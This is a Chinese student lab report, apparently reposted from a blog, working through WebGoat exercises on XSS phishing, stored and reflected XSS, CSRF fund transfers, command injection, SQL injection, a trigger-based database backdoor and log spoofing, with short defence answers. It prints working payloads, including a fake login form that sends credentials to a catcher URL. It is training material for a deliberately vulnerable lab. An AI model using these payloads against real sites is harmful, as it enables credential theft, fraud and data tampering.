20155202《网络对抗》Exp9 web安全基础实践

20155202《网络对抗》Exp9 web安全基础实践

实验前回答问题

(1)SQL注入攻击原理,如何防御

  • SQL注入产生的原因,和栈溢出、XSS等很多其他的攻击方法类似,就是未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行。针对于SQL注入,则是用户提交的数据,被数据库系统编译而产生了开发者预期之外的动作。也就是,SQL注入是用户输入的数据,在拼接SQL语句的过程中,超越了数据本身,成为了SQL语句查询逻辑的一部分,然后这样被拼接出来的SQL语句被数据库执行,产生了开发者预期之外的动作。

    解决办法

  • 从根本上防止上述类型攻击的手段,还是避免数据变成代码被执行,时刻分清代码和数据的界限。而具体到SQL注入来说,被执行的恶意代码是通过数据库的SQL解释引擎编译得到的,所以只要避免用户输入的数据被数据库系统编译就可以了。

(2)XSS攻击的原理,如何防御

  • XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器
    执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列
    表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实
    施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨
    大的,是web安全的头号大敌

    解决方法

  • 一种方法是在表单提交或者url参数传递前,对需要的参数进行过滤.
  • 过滤用户输入的 检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等。、严格控制输出

(3)CSRF攻击原理,如何防御

  • CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:
    攻击者盗用了a的身份,以a的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以a的名义发送邮件、发消息,盗取a的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

    解决办法:

  • 目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。

WebGoat进行实验

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程.接下来就来配置webgoat。

  • 但是非常不幸,我安装webgoat时候问题百出,不知道为什么,我的jdk正常,java可以运行
  • 1072527-20180516171902369-1725110399.png
  • 本以为是jar包的问题,按照网上教程将MANIFEST里:后加了空格,发现没卵子用
  • 1072527-20180516172011407-1175925322.png
  • 下载了不同版本的webgoat-jar文件进行安装,
  • 1072527-20180516172106546-905681892.png
  • 无济于事
  • 1072527-20180516172132887-809986930.png
  • 最后只能拷老师的虚拟机进行实验(不想再在配置电脑上耗费时间了)
  • 1072527-20180516172437670-881745266.png
  • emmm,very good
  • WebGoat使用8080端口,在浏览器上访问localhost:8080/WebGoat,进入WebGoat。
  • 1072527-20180516172959125-751867491.png

练习题目:

1.Phishing with XSS (网路钓鱼)

2.Stored XSS Attacks (存储型xss攻击)

3.Reflected XSS Attacks(非存储型xss攻击,反射型)

4.Cross Site Request Forgery

5.CSRF Prompt By-Pass

6.Command Injection

7.Numeric SQL Injection

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

9.Database Backdoors

10.Log Spoofing

XSS练习

1.Phishing with XSS (网路钓鱼)

  • 本题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/那一段,完整的XSS攻击代码如下:
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} 
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,如图所示:
  • 1072527-20180516173806023-616605453.png
  • 然后随便填一下,提交
  • 1072527-20180516173825789-1096098806.png
  • 这就是传数据回来了,攻击成功
  • 1072527-20180516173853867-663414491.png

    2.Stored XSS Attacks (存储型xss攻击)

    这个就有点弱鸡了,创建非法的消息内容,导致其他用户访问时载入非预期的页面或内容,这个和实验八里面差不多,就message中输入一串代码比如<script>alert("you have been died");</script>,然后提交后就蹦出来代码了
  • 1072527-20180516174752220-836540211.png
  • 1072527-20180516174815371-506316678.png
  • 1072527-20180516174820089-122957057.png

    3.Reflected XSS Attacks(非存储型xss攻击,反射型)

  • 当输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容展示,比如下面这个购物车:
  • 1072527-20180516175135962-1541630493.png
  • 这时如果我们将带有攻击性的URL作为输入源,在zx那里输入<script>alert("lalala");</script>,就会弹出对话框:
  • 1072527-20180516175339493-521482110.png
  • 1072527-20180516180030590-336689765.png

第2个和第3个效果相同但是原理不同

  • 存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。

  • 反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
    点击弹出自己的在该网站的cookie:

CSRF攻击

4.Cross Site Request Forgery

  • 目的:写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
  • 在message框中输入代码:<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>,其中Screen和menu在当前页面的右边Parameters进行查看:
  • 1072527-20180516224957793-58731216.png
  • 1072527-20180516225029762-1753638520.png
  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的4000元,从而达到CSRF攻击的目的。

5.CSRF Prompt By-Pass

  • 包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器(transferFunds=4000,transferFunds=CONFIRM)
    先在浏览器中手动输入URL:localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=100进入确认转账请求页面
  • 1072527-20180516225507680-1733545238.png
  • 转账请求
  • 点击CONFIRM按钮,再在浏览器中输入URL:localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=CONFIRM,成功转走了100元:
  • 1072527-20180516225514167-546069232.png
  • 确认转账成功

Injection Flaws训练

6.Command Injection

  • 在目标主机上执行系统命令,通过火狐浏览器下的Firebug对源代码进行修改,在BackDoors.help旁边加上"& netstat -an & ipconfig":
  • 1072527-20180516225857044-1022964307.png
  • 之后在下拉菜单中能看到修改后的值
  • 1072527-20180516225919369-93304684.png
  • 选中修改后的值再点view,出现系统网络连接情况:
  • 1072527-20180516230001448-1759411177.png

7.Numeric SQL Injection

  • 通过注入SQL字符串的方式查看所有的天气数据,加上一个1=1这种永真式即可达到目的,在任意一个值比如101旁边加上or 1=1
  • 1072527-20180516230133608-763291112.png
  • 选中Columbia,点Go,可以看到所有天气数据
  • 1072527-20180516230201610-800733420.png

    LAB:SQL Injection(Stage 1:String SQL Injection)

  • 先以用户Neville登录,在密码栏中输入' or 1=1 --进行SQL注入,登录失败:
  • 1072527-20180516230311709-340585525.png
  • 到源代码里寻找原因,发现最大键入值有问题,就八位,太小了,改成30位
  • 1072527-20180516230402044-1540182904.png
  • 再退出,重新登录,成功
  • 1072527-20180516230436019-290357306.png

8.LAB:SQL Injection(Stage 3:Numeric SQL Injection)

先以用户名Larry登录,登录之后看到浏览员工信息的按钮是ViewProfile:

  • 1072527-20180516230601428-188463443.png
  • 1072527-20180516230719630-1322429436.png

  • 在网页代码中分析这个按钮,发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

  • 1072527-20180516230712174-436370875.png
  • 重新登录可以查看到老板的信息:
  • 1072527-20180516230818766-498178126.png

9.Database Backdoors

  • 先输101,得到了该用户的信息:
  • 1072527-20180516230852626-841597799.png
  • 发现输入的语句没有验证,可以进行SQL注入,输入注入语句:101; update employee set salary=200000
  • 1072527-20180516231035617-1372577365.png
  • 攻击成功
  • 注入101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155202@qq.com' WHERE userid = NEW.userid
    表中一旦添加新用户那么就在用户表里将新用户的邮箱改为我设置的邮箱。
  • 1072527-20180516231159424-571947753.png

10.Log Spoofing

  • 输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入zx%0d%0aLogin Succeeded for username: admin,其中%0d是回车,%0a是换行符:
  • 1072527-20180522111211463-1235620282.png
  • 攻击成功
  • 1072527-20180522111222163-192177409.png

实验体会

  • 这次实验我webgoat安装不上就很难受,最难受的应该是这个:写了一晚上博客最后想Ctrl A,Ctrl C到有道云失手成了Ctrl V,然后发现博客园后台没有Ctrl Z
  • 1072527-20180516231356105-2069370291.png
  • 这篇博客是在误删后重新写的,有些地方描述不是很准确,写的比较急了第二次。
    这次实验通过使用webgoat做了一系列的sql,CSRF和xss攻击,使我对这几种攻击方式有了更清楚的区分和理解,让我对我们这些菜鸡编出来的代码极度的否定态度,没有找不出来的漏洞,所以在信息安全这条道路上好好的体会琢磨吧,道阻且艰!

转载于:https://www.cnblogs.com/zx20155202/p/9031601.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/280357.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MVC Html.AntiForgeryToken() 防止CSRF***

MVC中的Html.AntiForgeryToken()是用来防止跨站请求伪造(CSRF:Cross-site request forgery)***的一个措施,它跟XSS(XSS又叫CSS:Cross-Site-Script),***不同,XSS一般是利用站内信任的用户在网站内插入恶意的脚本代码进行***&#xff0c;而CSRF则是伪造成受信任用户对网站进行***…

如何反序列化派生类

前言上回&#xff0c;我们讲解了《如何序列化派生类》。那如何反序列化派生类呢&#xff1f;假设有一个 Person 抽象基类&#xff0c;其中包含 Student 和 Teacher 派生类&#xff1a;public class Person {public string Name { get; set; } }public class Student : Person {…

目标跟踪 facebook_如何关闭Facebook Messenger的位置跟踪(如果已启用)

目标跟踪 facebookIt seems like everyone is tracking our location now. Not surprisingly, Facebook Messenger can also transmit a significant amount of information on your location activity. If you use Messenger, here’s how to make sure it’s not reporting y…

云计算基础知识:CPU虚拟化

虚拟化技术的分类主要有服务器虚拟化、存储虚拟化、网络虚拟化、应用虚拟化。服务器虚拟化技术按照虚拟对象来分&#xff0c;可分为&#xff1a;CPU虚拟化、内存虚拟化、I/O虚拟化;按照虚拟化程度可分为&#xff1a;全虚拟化、半虚拟化、硬件辅助虚拟化。将不同的虚拟化对象和程…

头脑风暴 软件_头脑风暴和思维导图的最佳网站和软件

头脑风暴 软件A mind map is a diagram that allows you to visually outline information, helping you organize, solve problems, and make decisions. Start with a single idea in the center of the diagram and add associated ideas, words, and concepts connected ra…

NULL的陷阱:Merge

NULL表示unknown&#xff0c;不确定值&#xff0c;所以任何值&#xff08;包括null值&#xff09;和NULL值比较都是不可知的&#xff0c;在on子句&#xff0c;where子句&#xff0c;Merge或case的when子句中&#xff0c;任何值和null比较的结果都是false&#xff0c;这就是NULL…

Python实现将不规范的英文名字首字母大写

Python实现将不规范的英文名字首字母大写 这篇文章给大家主要介绍的是利用map()函数&#xff0c;把用户输入的不规范的英文名字&#xff0c;变为首字母大写&#xff0c;其他小写的规范名字。文中给出了三种解决方法&#xff0c;大家可以根据需要选择使用&#xff0c;感兴趣的朋…

极限编程 (Extreme Programming) - 发布计划 (Release Planning)

编写用户故事后&#xff0c;您可以使用发布计划会议来创建发布计划。发布计划指定 将为每个系统版本实现哪些用户故事以及这些版本的日期。这给出了一组用户故事供客户在迭代计划会议期间进行选择&#xff0c;以便在下一次迭代期间实施。然后将这些选定的故事翻译成单独的编程任…

使用Ubuntu的公用文件夹轻松地在计算机之间共享文件

You’ve probably noticed that Ubuntu comes with a Public folder in your home directory. This folder isn’t shared by default, but you can easily set up several different types of file-sharing to easily share files on your local network. 您可能已经注意到&am…

NSA泄露的恶意软件DoublePulsar感染了数万台Windows电脑

本文讲的是NSA泄露的恶意软件DoublePulsar感染了数万台Windows电脑&#xff0c;安全研究人员认为&#xff0c;世界各地的脚本小子和在线犯罪分子正在利用Shadow Brokers 黑客组织上周泄露的NSA黑客工具&#xff0c;致使全球数十万台Windows计算机正面临网络攻击威胁。 上周&…

windows下使用nginx调试简介

安装使用 nginx是一个反向代理服务器&#xff0c;在web开发调试中经常用到&#xff0c;写一个简单的使用说明和总结。 1. 下载 点击官网下载地址 下载对应版本的nginx并解压 2. 配置 在解压的目录下找到conf/nginx.conf文件添加所需监听和代理的server # 项目名称server {liste…

MASA Framework 命令查询职责分离

概念CQRS (https://learn.microsoft.com/zh-cn/azure/architecture/patterns/cqrs)是一种与领域驱动设计和事件溯源相关的架构模式, 它的全称是Command Query Responsibility Segregation, 又叫命令查询职责分离, Greg Young在2010年创造了这个术语, 它是基于Bertrand Meyer 的…

Google的Project Stream准备在Chrome中播放AAA控制台游戏

Streaming full 3D games over a high-speed web connection is a fast growing trend. And with ridiculous amounts of infrastructure and remote computing power, Google is well equipped to join it. 通过高速网络连接流式传输完整的3D游戏是一种快速增长的趋势。 凭借可…

私有云之迷思:未来是什么?

本文讲的是私有云之迷思&#xff1a;未来是什么&#xff1f;&#xff0c;【编者的话】非常好的一篇文章&#xff0c;作者从OpenStack目前的困境讲起&#xff0c;聊到了私有云的产生背景&#xff0c;进而介绍了云计算的发展史。从云计算诞生的初衷以及现在流行的分布式应用又延伸…

maven项目的目录结构

1、maven项目采用“约定优于配置”的原则&#xff1a; src/main/java&#xff1a;约定用于存放源代码&#xff0c;src/test/java&#xff1a;用于存放单元测试代码&#xff0c;&#xff08;测试代码的包应该和被测试代码包结构保持一致&#xff0c;方便测试查找&#xff09;src…

AWS大力支持.NET 开源项目,和Azure抢.NET 客户

出品 | OSC开源社区&#xff08;ID&#xff1a;oschina2013)在 2022 re:Invent 会议上&#xff0c; AWS 软件开发经理 Saikat Banerjee 锐评道&#xff1a;” 我们发现 .NET 开源项目资金严重不足&#xff0c;仍可称之为第三方开源”。随即表示 AWS 过去非常重视 .net 生态&…

攻防 logmein_如何使用LogMeIn Hamachi在任何地方访问文件

攻防 logmeinWhether you’re at work and forgot some file on your home computer, want to play some music on a train, or just want to move some files between your computers, accessing your files from anywhere is a life saver. 无论您是在工作时忘记了家用计算机…

在FC中如何获取fcdot文件

在FlexiCapture中一些客户在问如何获取.fcdot文件(在测试序列号下或者没有测试模板的情况下) 第一步&#xff1a; 1、查看License Manager查看是否找到序列号 首先我们在开始菜单里面打开ABByyFlexiCapTure11——》选择"工具"下的License Manager 第二步 1、选择管理…

Blazor学习之旅 (9) 用MudBlazor重构Todo

【Blazor】| 总结/Edison Zhou大家好&#xff0c;我是Edison。在之前的学习之旅&#xff08;3&#xff09;开发一个Todo应用中&#xff0c;我们开发了一个简单版的Todo&#xff0c;这次我们基于MudBlazor来重构这个Todo应用。Todo V1回顾在Blazor入门学习&#xff08;3&#xf…

50多种在Photoshop中删除图像背景的工具和技术,第3页

We’re completing the 50 Tools and Techniques today with this final installment. Read about advanced selection and masking tools, as well as some stupid graphics geek tricks, and ways to fake removing a background in seconds. 我们今天最后一部分将完成50多种…